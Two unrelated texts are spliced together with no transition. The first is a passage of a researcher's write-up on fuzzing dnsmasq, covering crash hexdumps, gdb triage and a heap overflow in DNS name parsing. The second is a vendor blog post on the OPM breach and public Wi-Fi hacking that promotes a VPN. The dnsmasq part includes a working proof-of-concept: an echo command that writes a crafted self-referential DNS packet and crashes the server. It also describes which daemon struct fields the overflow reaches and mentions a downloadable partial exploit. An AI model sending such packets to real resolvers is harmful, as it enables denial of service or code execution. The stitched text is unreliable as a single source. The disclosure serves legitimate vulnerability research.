crashes $ hexdump -C id\:000002\,sig\:11\,src\:000034\,op\:havoc\,rep\:2
00000000  12 34 01 00 eb 00 00 00  00 00 00 00 06 67 6f 6f  |.4...........goo|
00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
crashes $ hexdump -C id\:000003\,sig\:11\,src\:000034\,op\:havoc\,rep\:4
00000000  12 34 01 00 00 01 01 00  00 00 10 00 06 67 6f 6f  |.4...........goo|
00000010  67 6c 65 03 63 6f 6d c0  0c 00 00 00 00 00 06 67  |gle.com........g|
00000020  6f 6f 67 6c 65 03 63 6f  6d c0 00 01 00 01        |oogle.com.....|
0000002e

The first three crashes are interesting, because they're very similar. The only differences are the flags field (0x0100 or 0x0800) and the count fields (the first is unmodified, the second has 0xe100 "authority" records listed, and the third has 0xeb00 "question" records). Presumably, that stuff doesn't matter, since random-looking values work.

Also note that near the end of every message, we see our old friend again: "\xc0\x0c".

We can run afl-tmin on the first one to get the tightest message we can:

00000000  30 30 30 30 30 30 30 30  30 30 30 30 06 30 6f 30  |000000000000.0o0|
00000010  30 30 30 03 30 30 30 c0  0c                       |000.000..|

As predicted, the question and answer counts don't matter. All that matters is the name's length fields and the "\xc0\x0c". Oddly it included the "o" from google.com, which is probably a bug (my fuzzing instrumentation isn't perfect because due to requests going to the Internet, the result isn't always deterministic).

The vulnerability

Now that we have a decent PoC, let's check it out in a debugger:

$ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./min.bin
Reading symbols from ./dnsmasq...done.
Unable to determine compiler version.
Skipping loading of libstdc++ pretty-printers for now.
(gdb) run
[...]
Program received signal SIGSEGV, Segmentation fault.
__strcpy_sse2 () at ../sysdeps/x86_64/multiarch/../strcpy.S:135
135     ../sysdeps/x86_64/multiarch/../strcpy.S: No such file or directory.

It crashed in strcpy. Fun! Let's see the line it crashed on:

(gdb) x/i $rip
=> 0x7ffff73cc600 <__strcpy_sse2+192>:  mov    BYTE PTR [rdx],al
(gdb) print/x $rdx
$1 = 0x0

Oh, a null-pointer write. Seems pretty lame.

Honestly, when I got here, I lost steam. Null-pointer dereferences need to be fixed, especially because they can hide other bugs, but they aren't going to earn me l33t status. So I would have to fix it or deal with hundreds of crappy results.

If we look at the packet in more detail, the name it's parsing is essentially: "\x06AAAAAA\x03AAA\xc0\x0c" (changed '0' to 'A' to make it easier on the eyes). The "\xc0\x0c" construct reference 12 bytes into the message, which is the start of the name. When it's parsed, after one round, it'll be "\x06AAAAAA\x03AAA\x06AAAAAA\x03AAA\xc0\x0c". But then it reaches the "\xc0\x0c" again, and goes back to the beginning. Basically, it infinite loops in the name parser.

So, it's obvious that a self-referential name causes the problem. But why?

I tracked down the code that handles 0xc0. It's in rfc1035.c, and looks like:

     if (label_type == 0xc0) /* pointer */
        {
          if (!CHECK_LEN(header, p, plen, 1))
            return 0;

          /* get offset */
          l = (l&0x3f) << 8;
          l |= *p++;

          if (!p1) /* first jump, save location to go back to */
            p1 = p;

          hops++; /* break malicious infinite loops */
          if (hops > 255)
          {
            printf("Too many hops!\n");
            printf("Returning: [%d] %s\n", ((uint64_t)cp) - ((uint64_t)name), name);
            return 0;
          }

          p = l + (unsigned char *)header;
        }

If look at that code, everything looks pretty okay (and for what it's worth, the printf()s are my instrumentation and aren't in the original). If that's not the problem, the only other field type being parsed is the name part (ie, the part without 0x40/0xc0/etc. in front). Here's the code (with a bunch of stuff removed and the indents re-flowed):

  namelen += l;
  if (namelen+1 >= MAXDNAME)
  {
    printf("namelen is too long!\n"); /* <-- This is what triggers. */
    printf("Returning: [%d] %s\n", ((uint64_t)cp) - ((uint64_t)name), name);
    return 0;
  }
  if (!CHECK_LEN(header, p, plen, l))
  {
    printf("CHECK_LEN failed!\n");
    return 0;
  }
  for(j=0; j<l; j++, p++)
  {
    unsigned char c = *p;
    if (c != 0 && c != '.')
      *cp++ = c;
    else
      return 0;
  }
  *cp++ = '.';

This code runs for each segment that starts with a value less than 64 ("google" and "com", for example).

At the start, l is the length of the segment (so 6 in the case of "google"). It adds that to the current TOTAL length - namelen - then checks if it's too long - this is the check that prevents a buffer overflow.

Then it reads in l bytes, one at a time, and copies them into a buffer - cp - which happens to be on the heap. the namelen check prevents that from overflowing.

Then it copies a period into the buffer and doesn't increment namelen.

Do you see the problem there? It adds l to the total length of the buffer, then it reads in l + 1 bytes, counting the period. Oops?

It turns out, you can mess around with the length and size of substrings quite a bit to get a lot of control over what's written where, but exploiting it is as simple as doing a lookup for "\x08AAAAAAAA\xc0\x0c":

$ echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' > crash.bin
$ ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin
[...]
Segmentation fault

However, there are two termination conditions: it'll only loop a grand total of 255 times, and it stops after namelen reaches 1024 (non-period) bytes. So coming up with the best possible balance to overwrite what you want is actually pretty tricky - possibly even requires a bit of calculus (or, if you're an engineer, a program that can optimize it for you :) ).

I should also mention: the reason the "\xc0\x0c" is needed in the first place is that it's impossible to have a name string in that's 1024 bytes - somewhere along the line, it runs afoul of a length check. The "\xc0\x0c" method lets us repeat stuff over and over, sort of like decompressing a small string into memory, overflowing the buffer.

Exploitability

I mentioned earlier that it's a null-pointer deref:

(gdb) x/i $rip
=> 0x7ffff73cc600 <__strcpy_sse2+192>:  mov    BYTE PTR [rdx],al
(gdb) print/x $rdx
$1 = 0x0

Let's try again with the crash.bin file we just created, using "\x08AAAAAAAA\xc0\x0c" as the payload:

$ echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' > crash.bin
$ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin
[...]
(gdb) run
[...]
(gdb) x/i $rip
=> 0x449998 <answer_request+1064>:      mov    DWORD PTR [rdx+0x20],0x0
(gdb) print/x $rdx
$1 = 0x4141412e41414141

Woah.. that's not a null-pointer dereference! That's a write-NUL-byte-to-arbitrary-memory! Those might be exploitable!

As I mentioned earlier, this is actually a heap overflow. The interesting part is, the heap memory is allocated once - immediately after the program starts - and right after, a heap for the global settings object (daemon) is allocated. That means that we have effectively full control of this object, at least the first couple hundred bytes:

extern struct daemon {
  /* datastuctures representing the command-line and.
     config file arguments. All set (including defaults)
     in option.c */

  unsigned int options, options2;
  struct resolvc default_resolv, *resolv_files;
  time_t last_resolv;
  char *servers_file;
  struct mx_srv_record *mxnames;
  struct naptr *naptr;
  struct txt_record *txt, *rr;
  struct ptr_record *ptr;
  struct host_record *host_records, *host_records_tail;
  struct cname *cnames;
  struct auth_zone *auth_zones;
  struct interface_name *int_names;
  char *mxtarget;
  int addr4_netmask;
  int addr6_netmask;
  char *lease_file;.
  char *username, *groupname, *scriptuser;
  char *luascript;
  char *authserver, *hostmaster;
  struct iname *authinterface;
  struct name_list *secondary_forward_server;
  int group_set, osport;
  char *domain_suffix;
  struct cond_domain *cond_domain, *synth_domains;
  char *runfile;.
  char *lease_change_command;
  struct iname *if_names, *if_addrs, *if_except, *dhcp_except, *auth_peers, *tftp_interfaces;
  struct bogus_addr *bogus_addr, *ignore_addr;
  struct server *servers;
  struct ipsets *ipsets;
  int log_fac; /* log facility */
  char *log_file; /* optional log file */                                                                                                              int max_logs;  /* queue limit */
  int cachesize, ftabsize;
  int port, query_port, min_port;
  unsigned long local_ttl, neg_ttl, max_ttl, min_cache_ttl, max_cache_ttl, auth_ttl;
  struct hostsfile *addn_hosts;
  struct dhcp_context *dhcp, *dhcp6;
  struct ra_interface *ra_interfaces;
  struct dhcp_config *dhcp_conf;
  struct dhcp_opt *dhcp_opts, *dhcp_match, *dhcp_opts6, *dhcp_match6;
  struct dhcp_vendor *dhcp_vendors;
  struct dhcp_mac *dhcp_macs;
  struct dhcp_boot *boot_config;
  struct pxe_service *pxe_services;
  struct tag_if *tag_if;.
  struct addr_list *override_relays;
  struct dhcp_relay *relay4, *relay6;
  int override;
  int enable_pxe;
  int doing_ra, doing_dhcp6;
  struct dhcp_netid_list *dhcp_ignore, *dhcp_ignore_names, *dhcp_gen_names;.
  struct dhcp_netid_list *force_broadcast, *bootp_dynamic;
  struct hostsfile *dhcp_hosts_file, *dhcp_opts_file, *dynamic_dirs;
  int dhcp_max, tftp_max;
  int dhcp_server_port, dhcp_client_port;
  int start_tftp_port, end_tftp_port;.
  unsigned int min_leasetime;
  struct doctor *doctors;
  unsigned short edns_pktsz;
  char *tftp_prefix;.
  struct tftp_prefix *if_prefix; /* per-interface TFTP prefixes */
  unsigned int duid_enterprise, duid_config_len;
  unsigned char *duid_config;
  char *dbus_name;
  unsigned long soa_sn, soa_refresh, soa_retry, soa_expiry;
#ifdef OPTION6_PREFIX_CLASS.
  struct prefix_class *prefix_classes;
#endif
#ifdef HAVE_DNSSEC
  struct ds_config *ds;
  char *timestamp_file;
#endif

  /* globally used stuff for DNS */
  char *packet; /* packet buffer */
  int packet_buff_sz; /* size of above */
  char *namebuff; /* MAXDNAME size buffer */
#ifdef HAVE_DNSSEC
  char *keyname; /* MAXDNAME size buffer */
  char *workspacename; /* ditto */
#endif
  unsigned int local_answer, queries_forwarded, auth_answer;
  struct frec *frec_list;
  struct serverfd *sfds;
  struct irec *interfaces;
  struct listener *listeners;
  struct server *last_server;
  time_t forwardtime;
  int forwardcount;
  struct server *srv_save; /* Used for resend on DoD */
  size_t packet_len;       /*      "        "        */
  struct randfd *rfd_save; /*      "        "        */
  pid_t tcp_pids[MAX_PROCS];
  struct randfd randomsocks[RANDOM_SOCKS];
  int v6pktinfo;.
  struct addrlist *interface_addrs; /* list of all addresses/prefix lengths associated with all local interfaces */
  int log_id, log_display_id; /* ids of transactions for logging */
  union mysockaddr *log_source_addr;

  /* DHCP state */
  int dhcpfd, helperfd, pxefd;.
#ifdef HAVE_INOTIFY
  int inotifyfd;
#endif
#if defined(HAVE_LINUX_NETWORK)
  int netlinkfd;
#elif defined(HAVE_BSD_NETWORK)
  int dhcp_raw_fd, dhcp_icmp_fd, routefd;
#endif
  struct iovec dhcp_packet;
  char *dhcp_buff, *dhcp_buff2, *dhcp_buff3;
  struct ping_result *ping_results;
  FILE *lease_stream;
  struct dhcp_bridge *bridges;
#ifdef HAVE_DHCP6
  int duid_len;
  unsigned char *duid;
  struct iovec outpacket;
  int dhcp6fd, icmp6fd;
#endif
  /* DBus stuff */
  /* void * here to avoid depending on dbus headers outside dbus.c */
  void *dbus;
#ifdef HAVE_DBUS
  struct watch *watches;
#endif

  /* TFTP stuff */
  struct tftp_transfer *tftp_trans, *tftp_done_trans;

  /* utility string buffer, hold max sized IP address as string */
  char *addrbuff;
  char *addrbuff2; /* only allocated when OPT_EXTRALOG */
} *daemon;

I haven't measured how far into that structure you can write, but the total number of bytes we can write into the 1024-byte buffer is 1368 bytes, so somewhere in the realm of the first 300 bytes are at risk.

The reason we saw a "null pointer dereference" and also a "write NUL byte to arbitrary memory" are both because we overwrote variables from that structure that are used later.

Patch

The patch is pretty straight forward: add 1 to namelen for the periods. There was a second version of the same vulnerability (forgotten period) in the 0x40 handler as well.

But..... I'm concerned about the whole idea of building a string and tracking the length next to it. That's a dangerous design pattern, and the chances of regressing when modifying any of the name parsing is high.

Exploit so-far

I started writing an exploit for it. Before I stopped, I basically found a way to brute-force build a string that would overwrite an arbitrary number of bytes by adding the right amount of padding and the right number of periods. That turned out to be a fairly difficult job, because there are various things you have to juggle (the padding at the front of the string and the size of the repeated field). It turns out, the maximum length you can get is 1368 bytes put into a 1024-byte buffer.

You can download it here.

...why it never got famous

I held this back throughout the blog because it's the sad part. :)

It turns out, since I was working from the git HEAD version, it was brand new code. After bissecting versions to figure out where the vulnerable code came from, I determined that it was present only in 2.73rc5 - 2.73rc7. After I reported it, the author rolled out 2.73rc8 with the fix.

It was disappointing, to say the least, but on the plus side the process was interesting enough to write about! :)

Conclusion

So to summarize everything...

  • I modified dnsmasq to read packets from a file instead of the network, then used afl-fuzz to fuzz and crash it.
  • I found a vulnerability that was recently introduced, when parsing "\xc0\x0c" names + using periods.
  • I triaged the vulnerability, and started writing an exploit.
  • Determined that the vulnerability was in brand new code, so I gave up on the exploit and decided to write a blog instead.

And who knows, maybe somebody will develop one for fun? If anybody does, I'll give them a month of Reddit Gold!!!! :)

(I'm kidding about using that as a motivator, but I'll really do it if anybody bothers :P)

How to avoid your own hack

Some are calling last year’s hack of United States’ Office of Personnel Management a “cyber Pearl Harbor,” which is hyperbole. But it’s definitely a disaster.

The penetration of OPM’s computer networks gives someone — maybe China? — access to the private data of millions of U.S. government employees, including clearance forms that may include details of these employee’s most sensitive mental, physical and financial problems.

And the worst part is the government’s excuse for who’s to blame for the hack.

“I don’t believe anyone is personally responsible,” Office of Personnel Management director Katherine Archuleta said at a Senate hearing. “We have legacy systems that are very old.”

The U.S. government has been systematically starved of information technology advancements since the Office of Technology Assessment was shut down in the budget battle of 1995. So someone is definitely responsible if this was the result of the kind of systemic failure that the OPM’s Inspector General has been warning about for years.

But using old technology isn’t unique to governments, though the U.S. government seems to specialize in it.

Watch this video about a recent Wi-Fi experiment we conducted with penetration testing expert Mandalorian Security Services and the Cyber Security Research Institute:

Most of us follow the basics of security. We keep our system and security software updated. Our passwords are strong and stored safely. Hopefully you even use separate browsers for financial transactions and basic surfing/networking.

But how many of us — including the UK politicians in this video — assume we’re secure on public Wi-Fi without taking security precautions.

The hacks depicted in this experiment only took 3 hours to set up and once the equipment was in place, tablets and mobile phones could be hacked in less than 30 minutes. Sometimes as quickly as 5.

The information that can be obtained this way isn’t as damaging as the OPM attack but it’s not negligible either. It includes:
• Detailed browsing history
• Internet phone calls – Voice Over Internet Protocol – recorded calls
• Email accounts
• All email history and contacts
• Online financial services
• Social media accounts
• All social media data

How could this affect the victim of a hack? If you’re politician, profoundly.

“So if someone hacked it and put out messages that were detrimental, horrible or whatever, it would be a very bad thing for me in my job,” Mary Honeyball, a Labour MEP for London, said. “I think that the possibility that someone could put out an unauthorised communication before an election who just wants to cause trouble is really unacceptable.”

Getting fired for something you’ve said is bad. Losing your office or job for something you didn’t say would be infinitely worse.

There’s also the possibility of private information being used for extortion, which has been suggested as a potential worse case scenario consequence of the OPM hack.

Cybercrime is a numbers game and the numbers when it comes to Wi-Fi are astounding. The Wi-Fi Alliance suggests that 1 out of 4 homes globally run a Wi-Fi network. According to Strategy Analytics, some 800 million households worldwide will have adopted Wi-Fi by 2016. In your home you can take steps to secure your network with a WPA2 password. But there hundreds of millions of public Wi-Fi hotspots around the world. And most of them are not properly secured.

What can you do about it?

“People shouldn’t be afraid to use public Wi-Fi – it’s a fantastic service,” our Security Advisor Sean Sullivan said. “But they must understand that there are risks and it is their responsibility to protect themselves. This is simply done using a piece of software called a Virtual Private Network (or VPN). For phones and tablets, these are available as an app. Our Freedome VPN will encrypt all data travelling from the device to the network, meaning that the hacker will steal nothing of use. Simply turning it on gives you the best protection you can possibly have to stay safe over public Wi-Fi, so you can focus on what you’re doing instead of worrying about staying safe.”

To find out more about this hack, check out this podcast:

And you can also watch our first hack experiment on the dangers of public Wi-Fi.

Cheers,

Sandra

[Image by Johan Viirok | Flickr]